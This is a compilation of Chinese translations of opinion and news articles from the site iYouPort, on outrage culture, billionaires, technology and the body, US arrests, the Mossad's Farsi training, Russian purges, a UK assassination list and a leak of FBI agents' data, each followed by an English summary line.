但这不只是“点”的问题。在不同版本的实验中，参与者被邀请查看表情从中性到威胁。由于威胁面孔的出现次数较少，参与者开始将中性面孔描述为“具有威胁性”。

当我们需要寻找信号时，通常会扩展对信号的定义，以使更多的观察结果“合适”。

同样，我们不断增长的繁荣使我们扩大了对构成威胁的定义。随着逐渐习惯现代生活的奇迹，人们开始仔细审视每一个轻微的猥亵。正如

威廉·冯·希佩尔（William von Hippel）在“社会飞跃”（The Social Leap）中提出的那样，我们对不会杀死我们的食物和保护我们的装置的调整让小问题更加突出了。

在这种情况下，平凡成为灾难性的。你可以在这里、这里和这里找到一些有趣的例子。

至少有两个原因可以解释这点。首先，人类不是为了舒适而建造的；并因压力和冲突而进化。其次，人类有一种联盟本能，成为优秀的团体成员是追求。显然，我们想要冲突、希望盟友帮助我们解决冲突。

愤怒文化使我们能够满足这些冲动。通过扩大灾难的定义，我们创造了我们需要盟友解决的新问题；将问题归类、以及我们提出的解决方案，作为我们部落归属的指标。

愤怒对我们团体中的人很感兴趣。这是一个集结的旗帜和一个失败的敌人；围绕不存在的危机建立的共同事业。只有捆绑在一起，我们才能对抗risqué圣诞音乐和白人女孩穿旗袍的威胁。愤怒是一种破坏性的药物，满足了我们对团结的最初愿望。

真正的危机创造了真正的团结。而做作的危机会导致伪造的团结。通过制造人为危机，我们与我们的内部成员建立了一种暂时的统一感。通过围绕愤怒走到一起，人类撕裂了社会结构。

要清楚，我们不是要求战争或地震。为了苦难而苦难是没有意义的。我们也没有谴责现代生活的奇迹。技术进步越多越好。

人类无法与他们的痛苦分离。它赋予生命意义。弗朗西斯·福山（Francis Fukuyama）曾写道，“如果一个人不能为正义事业而斗争，那么他们就会反对正义事业。他们将为斗争而斗争。他们会挣扎，换句话说是出于某种无聊：因为他们无法想象生活在没有挣扎的世界。“

只有忍受和克服困难，我们才能开始欣赏生命之美。我们可以更加深思熟虑地关注哪些威胁以及如何阻止它们，而不是让一时的愤怒劫持我们的注意力。我们渴望冲突。但我们可以更加警惕：我们正在如何满足这种渴望。

What Doesn’t Kill Us Brings Us Together. Science and technology have softened the sting of manmade and natural disasters. But such advancements have reduced the impact of key social stressors. They

have curtailed flashpoint events which bring us together. One consequence of this is outrage culture.

原文

我们真的需要亿万富翁吗？ - iYouPort

其他

2018年3月，“福布斯” 报道称已经从72个国家和地区确定了 2,208 位亿万富翁。总的来说，这个群体价值 9.1万亿美元，自去年以来再次增加了18％的财富。

「图」

「图」

美国创造了 585 位亿万富翁的记录，其次是中国大陆，虽然他们公开承诺共产主义，却创下 373 个亿万富翁的记录。根据 2018年11月底的雅虎财经报告，2017年美国亿万富翁的财富增长了12％，而中国亿万富翁的增长率为39％。

这些巨大的财富创造得像十九世纪晚期强盗贵族所积累的那样。沃尔顿家族以1630亿美元的财富迅速增长，因为其庞大的企业沃尔玛是美国最大的私营雇主，而他们的工人在贫困线上挣扎。杰夫·贝佐斯（其财富在一年内增加了785亿美元，达到1600亿美元），他的亚马逊多年来一直支付可怜的低工资，直到罢工和公众压力迫使其提高。2017年年中，沃伦巴菲特 （750亿美元）成为世界上第二大富豪，他指出，美国经济的“真正问题”在于“它对人们的回报”不成比例。“

其他地方的情况大致相同。自20世纪80年代以来，全球人均收入比例大幅下降，从而加剧了财富的不平等。“亿万富翁热潮是经济体系失败的一个征兆，“ 乐施会国际发展慈善机构执行董事 Winnie Byanyima 评论道，“制作我们的衣服、组装手机和种植食物的人正在受到剥削。”

财富的进一步集中又导致了全球经济不平等程度的不断上升。根据乐施会2018年1月的一份报告，在过去一年中，约有37亿人—约占世界人口的一半—的财富没有增加。相反，2017年全球财富的82％流入了最富裕的百分之一。

在美国，经济不平等继续增长，最贫穷的一半人口所占的国民收入份

额稳步下降。第二大经济体中国的情况甚至更为严峻。在中国，尽管经济增长了20年，但经济不平等以世界上最快的速度增长，使中国成为地球上最不平等的国家之一。乐施会在其全球调查报告中指出，该国42位亿万富翁拥有的财富与世界人口的一半相当。

很难理解为什么亿万富翁认为他们需要拥有如此巨额的资金并获得更多收益。毕竟，他们不可能吃喝更多了，就像他们肯定拥有他们可能使用的所有豪宅，游艇，钻石，毛皮和私人飞机一样，他们还想要什么？

谈到欲望，那简直太多了。这就是为什么他们驾驶着价值400万美元的兰博基尼 Venenos，在私人喷气式飞机上花费80,000美元，购买金牙签，每晚15,000美元的顶层酒店套房，为他们的狗安装豪华淋浴，用金子铺楼梯，建造豪华的生存掩体。特朗普在特朗普大厦（Trump Tower）设有一间顶级公寓，据报价值高达 5700 万美元，全部用金色大理石制成。他的许多其他财产包括两架私人飞机，三架直升机，五座私人住宅，以及遍布美国，苏格兰，爱尔兰和阿联酋的17个高尔夫球场。

这不是全部。

亿万富翁将巨大的精力和资金用于控制政府。美国参议员伯尼桑德斯说："他们没有把自己的财富放在床垫下面。他们利用这些财富来维持他们的权力。所以你有科赫兄弟和少数亿万富翁投入的数亿美元参选。" 在2018年美国中期选举期间，美国亿万富翁在选举政治上投入了大量资金，成为众多候选人的主要资助者。Sheldon Adelson 一个人就在联邦选举中投入了1.13亿美元。

这种巨额资金对美国政治产生了重大影响。三位亿万富翁家族—-Kochs，Mercers 和 Adelsons—在资助共和党向极右翼转移以及接管联邦和州政府方面发挥了核心作用。

因此，虽然民意调查显示，大多数美国人赞成对富人提高税收，但共和党主导的白宫、国会、最高法院和监管机构都采取了完全相反的方向，以支持富人为优先事项。

由于存在如此多的利害关系，亿万富翁甚至直接控制了世界三大强国。唐纳德特朗普成为第一位获得美国总统职位的亿万富翁，加入了俄罗斯的弗拉基米尔普京（据称已经积累了至少700亿美元的财富）和中国的习近平（估计净资产为15.1亿美元）。这三位寡头很快建立了友好的关系，并分享了一些政策立场，包括鼓励财富获取和挫败人

权。

不可否认，一些亿万富翁签署了捐赠承诺，承诺将大部分财富用于慈善事业。尽管如此，富豪的慈善事业依旧意味着超级富豪的优先事项（例如私立学校的资助），而不是公众的优先事项（如公立学校的资金）。而且，这些同样的亿万富翁积累的财富要比他们捐赠的快得多。

总的来说，由于财富集中在越来越少的人手中，世界上大多数人显然都是输家。

Do We Really Need Billionaires? billionaires devote enormous energy and money to controlling governments; as wealth is concentrated in fewer and fewer hands, most people around the world are clearly the losers.

原文

技术正在导致人体变形：你会变成什么样？ - iYouPort

其他

科学家们已经模拟出人类未来的样子 —— 而且看起来一点都不帅……

专家们研究了技术对人体形态的影响，研究表明人类的身体可能会发生巨大变化。

创建一个名为“Mindy”的未来人类的3D模型，科学家们表示，在2100年的人类可能会因长时间坐在电脑前和看着智能手机而出现身体变形。

这个模型还体现出更大的颈部肌肉以弥补不良姿势的影响、头骨会变厚以保护免受辐射、大脑会变小，这是因为过度久坐不动的生活方式而发生的萎缩。

在不到100年的时间里，人类的手指也可能会出现卷曲，就像下图这样：

「图」

「图」

Maple Holistics 的健康与保健专家 Caleb Backe 表示：“每天花数小时低头看着你的手机会拉伤你的脖子并使你的脊椎失去平衡。

“因此，脖子上的肌肉不得不花费额外的努力来支撑你的头部。

“坐在办公室电脑前几个小时也意味着你的躯干是向前倾斜的，而不是和臀部在一条垂直线上。”

托莱多大学的 Kasun Ratnayake 也表示，人体可能被改变，以限制眼睛受到的有害光线的数量 —— 可能导致进化出第二眼睑。

“人类可能会发展出更大的内眼睑以防止暴露在过度的有害光线下，或者眼睛的晶状体可能会进化发育，使其能够阻挡入射的蓝光，但不会阻挡其他高波长的光，如绿、黄或红，”他说。

来自 Med Alert Help 的 Nikola Djordjevic 博士说：“我们拿着手机的方式会导致某些接触点的紧张—导致’鼠标手’和’90度肘’也被称为肘管综合征。

“这种综合征是由尺骨神经的压力或伸展所引起的，这一尺神经在肘内侧的凹槽中延伸。

“这会导致无名指和小手指麻木或刺痛感，前臂疼痛和手部无力—保持肘部弯曲时间过长导致的。”

TollFreeForwarding.com 的负责人杰森奥布莱恩（Jason O’Brien）制作了这个模型，并且研究了其成因，描述了人类的任何身体变化，作为技术的“副作用”。

“技术为我们提供了便利、连接、娱乐等等—但需要权衡利弊，”他解释道。

“过度暴露于技术环境有时会损害我们的健康。”〇

Hunched backs and double eyelids: How tech-obsessed humans might look in 2100

原文

抓捕人道主义 - iYouPort

其他

美国边境巡逻队星期一在墨西哥边境的一个贵格会小组举办的示威活动中逮捕了 32 人。示威者呼吁停止拘留和驱逐移民，并在中美洲寻求庇护者的大篷车中表明对移民的支持。

美联社的一名摄影师看到有十几个人被戴上手铐，因为他们被特工告知他们要离开边境巡逻队称之为“执法区”的墙。美国朋友服务委员会组织了这次视为，他说当他们试图前进，在靠近墙壁时提供祝福仪式时，被全副武装的特工拦下并被拘留。

边境巡逻队发言人说有31人而被捕，另外一人因涉嫌“袭警”而被捕。

大概有 300 多人参加了此次示威游行，其中许多是教堂、清真寺、犹太教堂和土著社区的领导人。

“他们从非常困难的和缺乏人性的环境中逃离出来到这里寻求庇护，对这些父亲、母亲和儿童表达欢迎和祝福应该是人道主义行为，我们如何在这些时刻采取行动，决定了我们将成为一个什么样的国家”，主教 Minerva G. Carcano 说。

该组织还呼吁国会废除移民和海关执法局以及海关和边境保护局。

Border Patrol Arrests 32 at San Diego Demonstration: Demonstrators were calling for an end to detaining and deporting immigrants and showing support for migrants in a caravan of Central American asylum seekers.

原文

揭示疯狂的逮捕 - iYouPort

其他

警察只是在抓人，而不是解决犯罪问题。 平均每三秒钟就有一次逮捕事件发生，每年逮捕的人数超过1050万，其中大部分是非犯罪行为，比如闯红灯或者没交罚款…… 这种过度监管造成的结果是什么？

「图」

「图」

警察只是在抓人，而不是解决犯罪问题。

在美国每三秒钟就有一次逮捕事件发生。虽然逮捕是进入刑事司法系统的第一道入口，但大多数人对于被捕者、地点和原因的了解都非常少。近年来，倡导者和立法者在司法程序的各个方面（从审前到量刑）都在推动政策变革，但逮捕仍然是大规模监禁和治安危机的最严重且不受监督的重要因素。

联邦调查局和司法统计局收集了18,000个执法机构的逮捕数据—但这些机构共享的信息存在重大差异。大多数情况下，这些数据仍然无法被更广泛的公众所接受，犯罪统计数据与执法有效性的数据是分开的。

为了更好地为刑事司法的对话提供信息，来自非营利性研究和政策组织 Vera Institute of Justice 的一组研究人员用了两年多的时间将八个不同的联邦数据库组合成了一个工具，允许用户分析逮捕趋势，在国家、州和县级别。

这些数据表明，每年逮捕的人数超过1050万，其中大部分是非犯罪行为，毒品违法行为和低级别犯罪。自1980年以来，针对毒品违法行为的逮捕人数增加了170%，执法方面的种族差异变得更加明显。尽管如此，警察只解决了报告的一小部分罪行。

近年来，在一系列警察杀人事件引发全国范围的抗议活动之后，越来越多的问责运动正在不断揭露日常警务行为的系统性问题。大多数逮捕行动最终被驳回，但是对低级别犯罪的强制执行，特别是在有色人种社区，会对这些社区及其与警方的关系造成长期损害。

布鲁克林学院的社会学教授 Alex Vitale 说，“解决这个问题的办法并不是让警方的逮捕更友好或更专业：这是为了放弃仅依靠逮捕来解决任何问题的思考方式。”

Vera 工具分析了1980年至2016年间的逮捕趋势。数据显示，在过去十年中，总体逮捕人数下降了近25%。但是它也表明，虽然严重犯罪的逮捕随着全国犯罪率的下降而下降，然而，因为轻微的不当行为而被逮捕的现象却越来越多了。

最常见的逮捕原因包括“无序行为”等低级犯罪，就是 FBI 称之为“所有其他犯罪” 的宽泛的、大部分无法解释的类别，其中包括各种交通违法行为、违反当地法令、以及未能支付罚款、或子女抚养费的民事违法行为。然而这些轻微违法行为已经占据逮捕比例的80%以上，而严重的暴力犯罪只占逮捕比例的不到5%。

该报告还强调了逮捕率存在巨大的种族差异，全国黑人因“滥用药物”而被捕的可能性比白人高出2.39倍—— 尽管两组人群的吸毒比率相似。在过去四十年中，估计全国黑人被捕人数增加了23%。非裔美国人现在占美国人口的12%，估计占所有逮捕人数的28%。

该报告最明显的发现是，这种积极的逮捕并没有为改善公共安全或解决犯罪做出太大贡献。

逮捕对个人产生的影响是巨大的：可能加剧经济差异、损害个人保留住房和工作的能力、并导致丧失儿童监护权、甚至被驱逐出境等破坏性后果。心理健康成本也非常重要。从长远来看，由于过度监管的社区与执法之间的关系恶化，有时甚至是不可挽回的。

Police Make More Than 10 Million Arrests a Year, but That Doesn’t Mean They’re Solving Crimes; Arresting Everyone Doesn’t Make Anyone Safer.That data shows that of more than 10.5 million arrests made every year, the bulk are for noncriminal behavior, drug violations, and low-level offenses.

原文

摩萨德的‘启蒙’ - iYouPort

其他

由于以色列和伊朗之间持续紧张的局势，以色列一所高中推出了波斯语语言培训计划，为政府情报部门准备潜在的人才。

“我们还提供口味和气味的体验，介绍伊朗作为一个国家及其公民有关的一切……”负责该课程的教官说。

该项目由前国家安全官 Pini Shmilovich 自2015年启动以来，已经看到有多名毕业生成为了以色列情报机构的间谍。在谈到他领导该计划的动机时，Shmilovich 解释说他认为来自伊朗的威胁是影响以色列的主要问题之一。

国土报报道，军事和间谍机构可能会依赖相当多的母语人士。现在，由于很少有来自伊朗的犹太人，于是以色列的目的是要培养新一代的年轻以色列人加入到与其对手的秘密斗争中。

虽然伊朗肯定也有兴趣对以色列进行间谍活动，但是他们是否已经努力培养希伯来语的间谍还不太清楚。据“耶路撒冷邮报”报道，特拉维夫附近赫兹利亚跨学科中心的伊朗问题专家 Meir Javendanfar 说，伊朗的一些大学据说教授希伯来语，但信息很少。

Astensions persist between Israel and Iran, an Israeli high school has launched a Farsi language program to prepare potential recruits for government intelligence services. Israel aims to train a new generation of young Israelis to join the covert struggle against its archrival

原文

无人免疫的大清洗 - iYouPort

其他

中国的党内大清洗您可能已经很熟悉了，在俄罗斯，人们看到了更激烈的戏码。

「图」

「图」

私人喷气机携带着一名俄罗斯前部长和亿万富翁从意大利抵达莫斯科的VIP机场，在那里他住进一个豪华的别墅。他被一位前同事和朋友带到莫斯科参加生日派对，他进入了一辆豪华轿车，但很快被俄罗斯FSB 的秘密警察逮捕了。他们将他带入监狱，指控他从俄罗斯纳税人那里偷走了数百万美元。

这是俄罗斯新闻机构和社交媒体3月26日传播的热门故事，部长 Mikhail Abyzov 被羁押并被指控贪污。

但据 Abyzov 先生的律师说，现实情况有所不同。这名46岁的商人在莫斯科附近的巴尔维哈（Barvikha）大院内被捕，这里有许多俄罗斯富人和当权者。

调查人员发布的一段视频显示，一名戴着棒球帽的运动型男子被戴上了手铐并捆绑在一辆面包车里，这显然是在第二天早上凌晨4点将他送到牢房之前的那个晚上。视频显示他的财物在他被带到牢房之前正在接受检查，其中包括 Yuval Noah Harari 的“Homo Deus：明日简史”。

Abyzov 绝不是第一位以这种方式垮台的俄罗斯高级官员。前财政部长阿列克谢·尤里耶卡耶夫（Alexei Ulyukaev）也是这种情况，他与号称能源沙皇的伊戈尔·谢钦（Igor Sechin）发生过冲突，现已入狱。一些高级州长也是如此。

但 Abyzov 的被捕使得俄罗斯大部分精英阶层陷入了惊愕之中，正是

因为他的故事似乎适用于许多前任和现任官员。Abyzov 是一个在私人和国家事务上都表现得咄咄逼人的商人，他在俄罗斯赚钱并在西方享受。

他于2012年加入了总理德米特里梅德韦杰夫的政府。他负责“开放政府计划 — — 这是一个通过将政府事务转变为电子形式来实现政务现代化的举措。

就像梅德韦杰夫先生提出的所谓现代化一样，这主要是一场秀。该职位于2018年被废除，Abyzov 离开政府，专心享受他的劳动成果。

几年来他的生活方式应该已经成为其他前政治家的典范。即 只要你保持忠诚，不要太贪心，不要折腾，你就能是安全的。然而，他的被捕摧毁了这种错觉，惊醒了俄罗斯政治阶层。证明每个人都是脆弱的，除非他们受到普京的个人保护。所有人都必须生活在恐惧中。

在腐败无所不在的国家，法治具有选择性，产权取决于克里姆林宫的意愿，任何逮捕都不可避免地引发一连串的阴谋论和解释。

有一种阴谋论认为，Abyzov 的被捕是源于针对梅德韦杰夫的一次枪击事件，梅德韦杰夫显然只是在事件发生之后才开始了解事件的。

他通过他的发言人说，对 Abyzov 的指控与他在政府中的工作无关，而是源于他之前的商业事务。这给20世纪90年代俄罗斯私有化浪潮的建筑师 Anatoly Chubais 抹了一笔黑。

Chubais 在2000年代聘请了 Abyzov 来帮助他改革电力垄断。Abyzov 现在被指控成立了一个“有组织犯罪集团”，并以40亿卢布（60美元）的高价出售能源资产给国有公司，这几乎肯定会得到其他政府官员的批准。

简直是墙倒众人推。Abyzov 也惹恼了一些强大的寡头。拥有阿尔法集团（Alfa Group）的亿万富翁银行家米哈伊尔•弗里德曼（Mikhail Fridman）正在通过法院追讨他的大额信贷还款；另一位寡头 Viktor Vekselberg 正在以5亿美元的商业纠纷起诉他。

与上个月被捕的迈克尔·卡尔维（Michael Calvey）不同，Michael Calvey 是一位在俄罗斯生活和投资的美国商人，他引起了俄罗斯商界的集体支持，尽管这种支持没什么用，但确实很少有人对 Abyzov 的被捕表示同情，他会面临长达20年的监禁。（Alexei Navalny 是一名反腐博客写手和反对派领导人，因在 YouTube 上播出的一项调查中

曝光 Abyzov 及其拥有的豪华别墅而著名）

但无论动机如何，Abyzov 的被捕都符合这样一种模式：精英群体中的内战和镇压越来越多，这些精英群体都消耗了寡头、州长、参议员和市长，他们在2000年代都认为自己受到了保护。

在确认这一趋势后，在 Abyzov 被捕后的第二天，FSB 拘留了 Viktor Ishaev，他是远东哈巴罗夫斯克地区强大的前州长，克里姆林宫的统一俄罗斯党在去年秋天的当地选举中遭受了惨败。

每个案例都可能有所不同，但正如俄罗斯政治分析家基里尔罗戈夫和尼古拉彼得罗夫在他们最近关于普京新任总统的年度报告中所说的那样，“反精英经济压制已成为政治制度的系统性和关键要素”。

在2001年至2005年期间，只有三名高级官员被起诉，而在2018年，针对政府和杜马高级成员的案件数量达到了35起。其中大多数案件都是由FSB发起并执行的，FSB是克格勃的继承者，也是俄罗斯政治的核心参与者。在这里看到《 普京的秘密服务：克里姆林宫如何控制 FSB — — 俄罗斯情报机构联邦安全局 》

戏剧化的逮捕浪潮 — — 其中许多逮捕在夜间进行 — — 促使人们将它与20世纪30年代布尔什维克党的大清洗进行了比较。

莫斯科政治学家 Ekaterina Schulmann 说，不同之处在于， 与斯大林的竞选活动不同，今天的压制既没有意识形态的支持，也没有宣传 。那些了解普京风格的人说，他会根据具体情况做出决定，而不是执行一致的计划。

然而，无论逮捕是否是集中协调，它们都是政治进程的一部分，这一进程受到普京日益普及的及其后来需要重申其合法性的影响。“旧的精英阶层协议不再有效。 Schulmann 女士说。毫无疑问，在这场 针对所有人的战争 中，拥有最终资源 — — 能够将人们关进监狱的 FSB — — 正在成为顶级护卫。

在规模和暴力方面新的大清洗运动可能不像20世纪30年代那样严重，但是由相同的掠夺性本能驱动。当 Abyzov 在牢房里翻阅他那本“明日简史”时，他可能会反思人性的变化。

R ussia’s new purges rattle the elite. No one is immune in the Kremlin’s in-fighting

原文

暗杀计划 - iYouPort

其他

- 曾经被揭示的暗杀证据正在再一次被揭示和强调，而曾经说出真话的人现在在监狱里。他们会把所有重复申明这些证据的人都关入监狱吗？；一个以抵制死刑为荣的国家却在秘密施行法外谋杀，是谁将那些名字列入了*“Kill Only”* 黑名单？

Reprieve 是一个法律慈善机构，旨在维护世界各地的法治和个人权利 —— 特别关注在“反恐战争”概念的掩护下实施的死刑案件和虐待行为。

Reprieve 在这方面向议会国防委员会提交了书面证据，其中强烈提到英国在其宣布的战区之外进行的秘密空袭 —— 主要是在巴基斯坦、索马里等地。

Reprieve 的调查包括英国在促进包括 **CIA** 和 **JSOC**（联合特种作战司令部）在内的美国机构进行的秘密空袭方面发挥的作用。

作为其工作的一部分，Reprieve 还代表了许多平民的亲属 —— 在 Reprieve 看来这种秘密空袭是非法的。你可以在这里阅读提交的内容。

Reprieve 提供的大部分证据和评论都是关于英国和美国无人机活动之间存在的重叠，就非战争的秘密空袭而言，提供了对两国密切军事关系的洞察力。另一个有用的信息档案由 Chris Cole 在 DroneWarsUK 提供。这里看到。

在这一点上应该注意的是，很多 **Reprive** 的报告都充斥着 **Wikileaks** 公布的无可争议的文件所提供的证据，而且，英国政府已经被著名的“ 战争日记”文件曝光了 —— 当然，**Julian Assange** 在监狱里，这并不奇怪，他正在接受这个国家的“待遇”。

Reprieve 提交的证据突出显示了英国与美国无人机袭击计划高度重叠的明显区域，该计划有可能使英国以最严重的方式违反国际法。

然而，鲜为人知的是 **Reprieve** 的另一份报道，鲜为人知主要是由于受到了垄断**90%**认知市场的主流媒体的压制 —— 这份报道的主题是：国家赞助的暗杀计划。

外行人可能会把它理解为阴谋论；在某种程度上，有些人也可能会接受“无人机打击”是战争技术进步的一部分的说辞。他们也可能采取这样的态度，即 对喜欢伊斯兰国的和心怀不满的人的杀戮是公平的。但并不是这样。

深入研究报告中出现的其他问题。首先，存在明显的法外杀人行为。英国国家可以谋杀任何他们想要的人，甚至是并没有在法庭案件中认定有罪的人，这说明了该国目前的法律轨迹。

*“2015*年*9*月*7*日，首相大卫卡梅伦来到议会并宣布实施”新出发点“，一项暗杀黑名单诞生了，军方不喜欢的人都会被列入这个名单（与美国和其他国家一起行动）已经确定并系统地按计划杀人。仅仅承认有杀戮名单当然应该是一个以体面而自居的国家的“出发点”。不幸的是，这根本不是一个“新的”出发点，因为我们十多年来一直在秘密地这样做。⚠”

然后是国际法律和条约的问题，尤其是一些决定的道德问题，因为我们已经发现 – “在巴基斯坦实施的无人机暗杀为了每一个所谓的”高价值目标“平均附带杀死了**9**名无辜的儿童“。

在接下来的事情发生之前，Reprieve 发出了一个清醒的警告 —— “我们必须考虑有关暗杀的法律和道德的演变：对于中世纪晚期的 Borgias 而言，已经被十七世纪谴责为野蛮人。实际上，即使在第二次世界大战中，由于国家的存在受到威胁，英国实施的暗杀是不明智的和不道德的：有一次英国人暗杀了一个纳粹分子（Reinhard Heydrich）不仅没能解决问题，而且他的职务很快被更糟糕的人替换了。“

这些揭露在本质上是基于大量证据的也是令人吃惊的。 9/11之后不久，英国被发现在美国风格的杀戮名单中密谋。

从2002年开始，与美国人密切合作，英国在委婉的联合优先有效名单（JPEL）中发挥了主导作用，这种杀戮甚至实际上在没有与任何人交战的盟友的领土上蔓延。

杀戮名单的借口是“恐怖主义”。然而，JPEL 很快就看到英国执法部门迫切希望利用入侵阿富汗的机会来袭击阿富汗 – 巴基斯坦的毒品踪

迹。因此，目标还包括贩毒者，尽管英国有“滥用毒品法案”，但“反恐战争”已经渗入“毒品战争” 而不是声明缉毒战争。

表面上英国厌恶死刑，特别是对于非暴力犯罪者而言；然而该国允许不经审判秘密执行死刑的事实揭露是非常惊人的。

随着证据的不断出现，严重有组织犯罪局（SOCA）被一名阿富汗男子起诉，该男子失去了五名家人，他们遭到了暗杀计划的袭击，他们只是无辜的平民，只因为英国当局有缺陷的情报使那名男子的岳父的电话号码与暗杀预定目标的电话号码相混淆了。

SOCA 出现在一个秘密的英国法院，否认参与 JPEL 目标。但本报告表明，SOCA 在法庭上的主张只是旨在转移人们的注意力，避免人们重视 SOCA（现在的NCA）在将麻醉品贩运者列入 JPEL 杀戮名单方面发挥的重要作用。

一位匿名的英国军人已经说过，从间接证据看来，根据与精神障碍相关的犯罪行为，如恋童癖和其他人也会被列入暗杀名单。对于一个以反对使用死刑而自豪的国家来说，这本身就是一个非凡的概念。

不知道的是，如果麻醉品贩运者和恋童癖者都在杀人名单上，那么暗杀标准应该画在哪儿？谁做出这些决定的？他们有什么法律权力将随机罪犯列入暗杀名单？

保守党成员正确批评布莱尔政府参与美国酷刑计划；如果这个政府现在试图通过一个暗杀项目将英国拖回中世纪时代，那么应该与议会和公众充分讨论它。然而就像英国国家大规模监视的滥用和非法性一样 —— 它没有经过任何讨论。

Reprieve 的报告提出了重要问题。英国是否会重新陷入滥用“酷刑”的境地，或者在没有审判的情况下将时间倒退到拘留所时代？杀戮名单在任何时候都涉及超过600人，他们被定为“消灭” —— 谁做出的这些决定？

Reprieve 平静地指出：至少首相没有透明度 ——

“重要的是，在2015年9月7日首相举行的民粹主义哗众取宠之前，我们当选的国会议员和公众都了解了英国深入参与”杀戮名单“的方式。首相可能认为，杀害像 *Reyaad Khan* 这样的人的努力将确保最小的反对；但是，如果英国人知道有数百人在“杀戮名单”上，基于严重缺陷的情报、导致无数平民伤亡，他们会怎么想？如果用一些正在发生的

事来说的话，对于我们瞄准和杀戮的每一个人，我们会想到什么呢？我们制造了*“40到60个”*新敌人，因为我们在这个过程中杀死了无辜的孩子和亲戚？“

根据 Reprieve 的证据，**JPEL** 将人们划分为应该用于情报的、应该被捕的、可能被俘的或被杀的、和应该被杀的人。 **“Kill Only”**标签进一步得到了“一位顶级 **[**美国**]** 军事专家”的证实，他说 **–** “这是一个完整的目标分类。有些人被批准杀死。“

我们不应忘记，“Kill Only”命令是对国际人道法和国际人权法的明确侵犯。

至于用于为杀戮名单添加名字的情报的准确性，关塔那摩湾也许是决策失败中最好的“实验”。

最初，所有779名囚犯都被国防部长唐纳德拉姆斯菲尔德称为“最糟糕的”。Wikileaks 在泄露的文件中公布了调查结果，发现，其中**92**%的囚犯甚至没有被指控，更不用说被证明是“危险”了。如果在杀人名单上，这些被拘留者中有90%以上会被谋杀，但在法庭上会被发现是无辜的。

道德

至于英国的道德立场，有一个事实证明了当今政府最高层人士在决策方面的戏剧性滑坡。

1806年，当英国外交大臣查尔斯·福克斯与暗杀拿破仑的计划接触时，福克斯不仅拒绝了这一提议，而且还逮捕了这名潜在的刺客，并向法国外交部长通报了这一阴谋。如今的这一最新揭露与200年前的那个时代完全背道而驰。

英国与美国之间的非法协议对任何民主结构都是极其危险的。多年来，美国政府一直在有针对性地暗杀个人，并且自20世纪60年代以来，至少在南美洲的一个地区就有六名外国政府领导人被暗杀。

福特、卡特和里根时代加强了反对国家暗杀的法律，虽然这种语言今天仍在生效，但近年来它似乎在事实上被忽视了。实际上，英国被指控在处理爱尔兰共和军时采用了“杀人名单”政策，而且当时运作的政策被国家最高法院认定为非法。

毕竟，如果美国可以在也门或巴基斯坦或其他任何地方合法地杀害其公民，为什么俄罗斯不能这样做，比如说在伦敦？有人想知道它是否

已经存在，指向 Alexander Litvinenko 的中毒事件，甚至是最近在索尔兹伯里发生的 Skripal 中毒事件。

最后，关于最高情报机构 GCHQ 参与的导致谋杀无辜家庭的虚假情报一案正在被人们口口相传。间谍们只是将电话号码搞砸了 —— 结果是五个无辜的人死亡。而在另一个例子中，一架无人机向一个被认为是装有武器的设施发射了一枚地狱火导弹，然后才知道，那是个私人农场。

Wikileaks 的“战争日记”揭露展示了人们如何被单方面从 JPEL 的黑名单中杀死。换句话说，即使是该名单的创作者自己也表明，他们希望实际上杀死一些人，而经过反思，似乎并没有必要杀死。

这是英国的政治和外交轨迹。违反国际法使英国在任何意义上都变得虚弱，并将继续提升其作为恐怖分子目标的形象。

在这里阅读完整的 Reprieve 报告，其中包含所有链接和证据。

BRITAIN’S ASSASSINATION PROGRAMME STRETCHING BACK TO 9/11. BRITAIN IS A NATION WITH A COLLECTIVE, MORAL ABHORRENCE FOR THE DEATH PENALTY EVEN AFTER A FAIR TRIAL, ESPECIALLY FOR NON-VIOLENT OFFENDERS. IT IS EXTRAORDINARY, THEN, THAT THE JPEL KILL LIST ALLOWED FOR THE EXECUTION OF NARCOTICS TRAFFICKERS WITHOUT A TRIAL AT ALL.

原文

曝光间谍 - iYouPort

其他

一直以来，放松网络安全防御被视为某种”策略”，通过吸引攻击以占据主动权。这是个愚蠢的策略，它无视人员的人身安全。这次出了什么事？

「图」

「图」

一直以来，放松网络安全防御被视为某种“策略”，通过吸引攻击以占据主动权。这是个愚蠢的策略，它无视人员的人身安全。

这大概是自奥巴马时代2015年 OPM漏洞事件发生以来最严重的且可能最具威胁性的黑客攻击之一：一群被认为位于乌克兰的黑客在渗透到 FBI 国家学院协会的三个站点之后，已经发布了4000名FBI特工的敏感个人信息。

被黑客攻击的三个站点属于 FBI 国家学院协会（FBI National Academy Association），这是一个位于弗吉尼亚州的，旨在促进执法培训的非营利组织。黑客利用了该组织网站的三个漏洞，并下载了 Web 服务器上存储的内容。

黑客组织已经明确表示有意出售这些数据。为了向潜在买家证明他们确实拿到了敏感数据，该组织还在自己的网站上公布了部分信息。

TechCrunch 考虑到信息的敏感性，没有给出黑客网站的地址。但该媒体表示，他们经核对和查重后发现了 4000 余条包含姓名、职位、个人及官方电子邮件地址、实际住宅地址以及电话号码等个人信息。

据黑客组织表示，他们已经掌握了超过 100 万条联邦特工的个人信息，涉及多个美国联邦机构和公共服务组织的员工。所有信息待价而沽。虽然该组织已经打定主意要有偿出售，但同时也表示他们会免费提供部分数据，以证明他们手里确实有“有趣”的东西。

TechCrunch 通过加密聊天软件与该组织内部一名未透露姓名的黑客进行了交谈。

“我们攻击了超过 1000 个网站，”该黑客说。“现在正在整理所有数据，很快就会卖出去。“TechCrunch 记者询问黑客是否担心他们公布的信息会使联邦特工和执法部门陷入风险之中，对方回答“可能会哦”。

信息泄露的源头，FBI 国家学院协会已经做出了回应。“我们正在与联邦当局合作调查此事。我们已经确定了三个受到攻击的站点，正与数据安全机构一起检查违规行为。国家数据库服务器提供商向我们保证，FBI 国家学院协会的数据库是安全可靠的。”

同时，FBI 国家学院协会表示，如果犯罪行为属实，该组织将起诉罪犯。

与 TechCrunch 记者进行了加密聊天的黑客评价他们攻击的网站“已经过时，很容易被黑客利用”。同时，他还给出了数个已经被攻破的网站地址，其中一个域名属于制造业巨头富士康公司。记者发现，一个链接点进去后不需要输入账户和密码，即可查看数千名员工的个人信息，包括电子邮件地址和电话号码等。

该黑客表示，他们的最终目标是“经验和金钱”。

这不是美国政府网站第一次被攻击，也不是 FBI 雇员信息第一次被泄露。2015 年，美国联邦人事管理局的网站被攻击，2150 万份记录被盗，其中包括 500 多万份指纹扫描信息。2016 年 2 月，一个名为 @DotGovs 的推特账户在三天之内分别公布了近 1 万名国土安全部员工信息和近 2 万名 FBI 雇员信息。@DotGovs 声称，他是通过入侵美国司法部数据库获取这些消息的。

